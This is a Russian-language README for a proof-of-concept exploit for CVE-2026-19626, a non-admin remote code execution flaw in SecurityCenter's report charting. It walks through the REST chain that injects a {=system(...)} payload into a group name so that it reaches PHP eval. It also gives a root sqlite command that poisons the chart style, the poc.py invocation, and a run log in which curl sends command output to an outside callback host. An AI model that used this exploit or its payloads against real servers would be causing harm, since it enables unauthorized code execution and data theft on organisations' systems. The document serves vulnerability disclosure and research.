
PoC-эксплойт для CVE-2026-19626 — аутентифицированное удалённое выполнение кода при генерации отчётов SecurityCenter, демонстрирующий цепочку эксплуатации без прав администратора через инъекцию имени группы и PHP eval.

Статус: ПОДТВЕРЖДЕНО — полностью удалённый эксплойт, без прав администратора, только REST (лаборатория 6.7.2-14.el9, 2026-08-21).
Эксплуатационная цепочка (именно это выполняет poc.py):
POST /rest/group с name: "{=system('<cmd>')}" — фигурные скобки/кавычки принимаются как есть (в контроллере групп нет проверки набора символов)POST /rest/reportDefinition — PDF-отчёт, один компонент pieChart, запрос user/sumgroup, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() подставляет плейсхолдер {label} именем группы ДО того, как выполняется цикл eval для {=...} — полезная нагрузка попадает внутрь форматной строки, и eval("$expr = system('<cmd>');") срабатывает под пользователем tnssystem() подставляется обратно в метку — вывод команды отображается в легенде круговой диаграммы готового отчёта (канал эксфильтрации)Маркер /tmp/pwn_label создаётся именно этой цепочкой (без доступа к БД, без записи стилей, без загрузки файлов). Обратите внимание: группа с нулевым числом участников всё равно даёт сектор — агрегация sumgroup включает её.
Дополнительно подтверждено прямым вызовом и отравлением стиля по всему конвейеру (см. историю ниже): eval-слабость присутствует в поставляемой substituteParams(), а отравленный атрибут стиля legendFormat по умолчанию срабатывает при любом рендеринге круговой диаграммы, включая отчёты, не принадлежащие администратору.
Ограничение доставки (почему чисто REST-PoC буксует): встроенный объект style в определении отчёта — именно туда PoC помещает legendFormat/labelFormat — хранится дословно в xmlDefinition, но отбрасывается при рендеринге: getReport(CONTEXT_RENDER) восстанавливает компоненты из нормализованных таблиц и перезаписывает $component['style'] значением StyleLib::getComponentStyle() (полученным по styleID). Контроллер импорта стилей существует (Styles::add, разбирает загруженный XML-файл через xmlToStyles, причём проверка «только для администратора» закомментирована), но ни один маршрут к нему не открыт — перебор из 12 комбинаций глагол/путь (style, styles, style::add, style/import × POST/PUT/PATCH, с корректным подготовленным именем файла) во всех случаях возвращает ошибку 10, а в UI-бандле нет ни одного вызова style-эндпоинтов. Поэтому чисто удалённая доставка требует пути записи стиля, которого 6.7.2 не предоставляет; продемонстрированная цепочка была выполнена через атрибут стиля напрямую.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 и более ранние):
eval("\$expr = {$exprs[1]};") в substituteParams(). Строки формата легенды/меток круговой диаграммы ($style['legendFormat'] / $style['labelFormat'], строки 4952/4983) поддерживают плейсхолдеры {=<arithmetic>}, например встроенный по умолчанию {={sector}+1}. Тело выражения — содержимое определения отчёта, переданное пользователем → произвольный PHP.eval("\$sectorLabels->setBackground($labelStyle);") с labelStyling из стиля диаграммы. Защита в 6.8.0 была if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — отклоняет только ;; system('cmd') проходит.if (is_callable($matches['name'])) на спецификациях формы столбцов, например circleShape(10). system(id) проходит проверку. Комментарий к исправлению в 6.9.0 утверждает это прямо: «is_callable() — НЕ безопасная проверка (is_callable("system") === true)».Любой пользователь организации с правами на определение отчётов достигает всех трёх точек во время рендеринга (generateReport.php / Jobd). ReportDefinitions::launch() отклоняет ROLE_ADMIN — этот класс уязвимостей явно не требует прав администратора.
Вывод команды подставляется обратно в текст метки, поэтому отрендеренный отчёт является каналом эксфильтрации.
eval() удалён; выражения {=...} ограничены регулярным выражением /^[0-9.\s()+\-*\/]+/ и вычисляются токенизатором; resolveLabelStyleArgs() разбирает стиль меток в список аргументов; isAllowedBarShapeFunction() — белый список функций с параметрами только числового типа.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Инъекция через имя группы в метку (удалённая цепочка выше): создаёт группу с именем-полезной нагрузкой, строит sumgroup-отчёт, запускает его и опрашивает результат рендеринга — вывод команды появляется в легенде круговой диаграммы готового отчёта. Ограничение полезной нагрузки: никаких символов } (регулярное выражение {=...} — не жадное, до первой закрывающей скобки); вывод команды переносится через подстановку метки, поэтому читайте его из отчёта или проверяйте по маркеру/таймингу.
style.legendFormat/labelFormat определения хранятся дословно в xmlDefinition, но отбрасываются при рендеринге — компоненты восстанавливают стили из таблиц Style по styleID (контекст рендеринга ReportDefinitionLib перезаписывает $component['style'] значением StyleLib::getComponentStyle()).Styles::add, проверка администратора закомментирована, разбирает загруженный XML через xmlToStyles), но ни один маршрут не подключён — все 12 комбинаций глагол/путь (включая субресурс /rest/style/{id}) возвращают ошибку 10, а в UI-бандле нет ни одного вызова style-эндпоинтов.{label} происходит до цикла eval, поэтому ЛЮБАЯ метка, контролируемая атакующим (здесь — имя группы; поля профиля пользователя и имена хостов сканированных активов имеют ту же форму), переносит полезную нагрузку.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0